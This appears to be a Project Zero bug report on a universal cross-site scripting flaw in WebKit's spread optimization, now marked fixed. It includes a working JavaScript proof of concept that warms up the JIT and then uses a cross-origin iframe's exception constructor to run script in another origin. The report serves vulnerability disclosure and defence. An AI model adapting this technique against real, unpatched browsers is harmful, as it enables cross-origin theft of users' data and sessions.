New issue
Advanced search Search tips
Issue 1094
Starred by 1 user
Status: Fixed
Owner:
lokihardt@google.com
Closed: Apr 2017
Cc:
project-...@google.com



Sign in to add a comment
 WebKit: UXSS via operationSpreadGeneric
Project Member Reported by lokihardt@google.com, Jan 20 2017 Back to list 
Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.

It seems that that optimization is not implemented to the release version of Safari yet.

Tested on the Nighly 10.0.2(12602.3.12.0.1, r210957)

PoC:
<body>
<script>

'use strict';

function spread(a) {
    return [...a];
}

let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
    spread(arr);
}

let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
    f.onload = null;

    try {
        spread(f.contentWindow);
    } catch (e) {
        e.constructor.constructor('alert(location)')();
    }
};

f.src = 'https://abc.xyz/';

</script>
</body>


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Project Member Comment 1 by lokihardt@google.com, Jan 20 2017 
WebKit Tracker: https://bugs.webkit.org/show_bug.cgi?id=167247
Project Member Comment 2 by lokihardt@google.com, Apr 14 2017
Status: Fixed
Project Member Comment 3 by lokihardt@google.com, Apr 18 2017
Labels: -Restrict-View-Commit
► Sign in to add a comment